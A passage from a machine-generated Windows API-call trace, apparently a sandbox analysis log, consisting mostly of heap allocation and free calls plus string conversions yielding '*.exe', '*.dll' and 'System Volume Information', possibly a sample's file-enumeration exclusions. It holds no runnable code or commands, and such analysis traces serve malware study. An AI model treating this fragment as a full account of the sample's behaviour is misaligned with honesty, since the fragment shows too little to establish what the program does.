(HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c1f8) returned 1 [0223.158] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.158] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d2d8) returned 1 [0223.158] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d5e8) returned 1 [0223.158] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf72850) returned 1 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x2800) returned 0xf72850 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.158] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x10) returned 0xf6d5e8 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2d8 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c1f8 [0223.158] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2c8 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x10) returned 0xf6d600 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2b8 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c1b0 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2a8 [0223.158] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c168 [0223.158] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c1f8) returned 1 [0223.158] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d2d8) returned 1 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d2c8) returned 1 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d5e8) returned 1 [0223.159] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.159] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.159] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x10) returned 0xf6d5e8 [0223.159] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2c8 [0223.159] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.159] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2d8 [0223.159] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c1f8 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c1b0) returned 1 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d2b8) returned 1 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c168) returned 1 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d2a8) returned 1 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d600) returned 1 [0223.159] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x10) returned 0xf6d600 [0223.159] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2a8 [0223.159] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c168 [0223.159] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2b8 [0223.159] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c1b0 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d2c8) returned 1 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c1f8) returned 1 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d2d8) returned 1 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d5e8) returned 1 [0223.159] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x10) returned 0xf6d5e8 [0223.159] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2d8 [0223.159] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c1f8 [0223.159] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2c8 [0223.159] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c168) returned 1 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d2a8) returned 1 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c1b0) returned 1 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d2b8) returned 1 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d600) returned 1 [0223.159] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf72850) returned 1 [0223.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf6c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0223.160] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6d9d0 [0223.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf6c1f8, cbMultiByte=5, lpWideCharStr=0xf6d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0223.160] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6da58 [0223.160] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d9d0) returned 1 [0223.160] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x10) returned 0xf6d600 [0223.160] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2b8 [0223.160] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6d9d0 [0223.160] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6da58) returned 1 [0223.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf6c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0223.160] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6da58 [0223.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf6c288, cbMultiByte=5, lpWideCharStr=0xf6da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0223.160] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6dae0 [0223.160] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6da58) returned 1 [0223.160] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2a8 [0223.160] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6da58 [0223.160] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6dae0) returned 1 [0223.160] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c1f8) returned 1 [0223.160] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d2d8) returned 1 [0223.160] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.160] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d2c8) returned 1 [0223.160] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d5e8) returned 1 [0223.160] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x2800) returned 0xf72850 [0223.160] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.160] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.160] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.160] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x10) returned 0xf6d5e8 [0223.160] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2c8 [0223.160] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c1f8 [0223.160] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.160] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.160] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2d8 [0223.160] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c1b0 [0223.160] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.160] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.160] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d298 [0223.161] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c168 [0223.161] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.161] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.161] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d288 [0223.161] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.161] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.161] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.161] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x20) returned 0xf6bc08 [0223.161] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d5e8) returned 1 [0223.161] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d278 [0223.161] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c240 [0223.161] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.161] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.162] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d268 [0223.162] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0223.162] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.162] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d258 [0223.162] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.162] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x20) returned 0xf75058 [0223.162] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d248 [0223.162] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c5e8 [0223.162] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d238 [0223.162] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c630 [0223.162] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d228 [0223.162] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c678 [0223.162] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d218 [0223.162] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c6c0 [0223.162] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d208 [0223.162] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c708 [0223.162] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d1e8 [0223.162] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c750 [0223.162] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d1f8 [0223.162] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c798 [0223.162] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c1f8) returned 1 [0223.162] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d2c8) returned 1 [0223.162] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c1b0) returned 1 [0223.162] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d2d8) returned 1 [0223.162] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c168) returned 1 [0223.162] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d298) returned 1 [0223.162] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.162] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d288) returned 1 [0223.162] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c240) returned 1 [0223.162] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d278) returned 1 [0223.162] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0223.162] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d268) returned 1 [0223.162] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.162] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d258) returned 1 [0223.162] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bc08) returned 1 [0223.162] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.162] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.163] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.163] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.163] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.163] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.163] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.163] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x10) returned 0xf6d5e8 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d258 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d268 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d278 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c240 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d288 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x20) returned 0xf6bc08 [0223.163] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d5e8) returned 1 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d298 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c168 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2d8 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c1b0 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2c8 [0223.163] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c1f8 [0223.163] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c5e8) returned 1 [0223.163] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d248) returned 1 [0223.163] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c630) returned 1 [0223.163] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d238) returned 1 [0223.163] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c678) returned 1 [0223.163] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d228) returned 1 [0223.163] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c6c0) returned 1 [0223.163] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d218) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c708) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d208) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c750) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d1e8) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c798) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d1f8) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf75058) returned 1 [0223.164] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x20) returned 0xf75058 [0223.164] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d1f8 [0223.164] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c798 [0223.164] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d1e8 [0223.164] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c750 [0223.164] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d208 [0223.164] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c708 [0223.164] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d218 [0223.164] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c6c0 [0223.164] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d228 [0223.164] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c678 [0223.164] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d238 [0223.164] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c630 [0223.164] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d248 [0223.164] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c5e8 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d258) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d268) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c240) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d278) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d288) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c168) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d298) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c1b0) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d2d8) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c1f8) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d2c8) returned 1 [0223.164] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bc08) returned 1 [0223.164] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x20) returned 0xf6bc08 [0223.164] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2c8 [0223.164] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c1f8 [0223.165] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d2d8 [0223.165] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c1b0 [0223.165] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d298 [0223.165] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c168 [0223.165] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d288 [0223.165] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.165] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d278 [0223.165] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c240 [0223.165] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d268 [0223.165] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0223.165] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d258 [0223.165] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.165] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c798) returned 1 [0223.165] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d1f8) returned 1 [0223.165] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c750) returned 1 [0223.165] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d1e8) returned 1 [0223.165] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c708) returned 1 [0223.165] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d208) returned 1 [0223.165] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c6c0) returned 1 [0223.165] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d218) returned 1 [0223.165] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c678) returned 1 [0223.165] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d228) returned 1 [0223.165] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c630) returned 1 [0223.165] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d238) returned 1 [0223.165] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c5e8) returned 1 [0223.165] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6d248) returned 1 [0223.165] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf75058) returned 1 [0223.165] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf72850) returned 1 [0223.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf6c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0223.165] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6dae0 [0223.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf6c1f8, cbMultiByte=25, lpWideCharStr=0xf6dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0223.165] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6db68 [0223.165] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6dae0) returned 1 [0223.165] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x10) returned 0xf6d5e8 [0223.165] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x8) returned 0xf6d248 [0223.165] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6dae0 [0223.165] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6db68) returned 1 [0223.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf6c1b0, cbMultiByte=12, 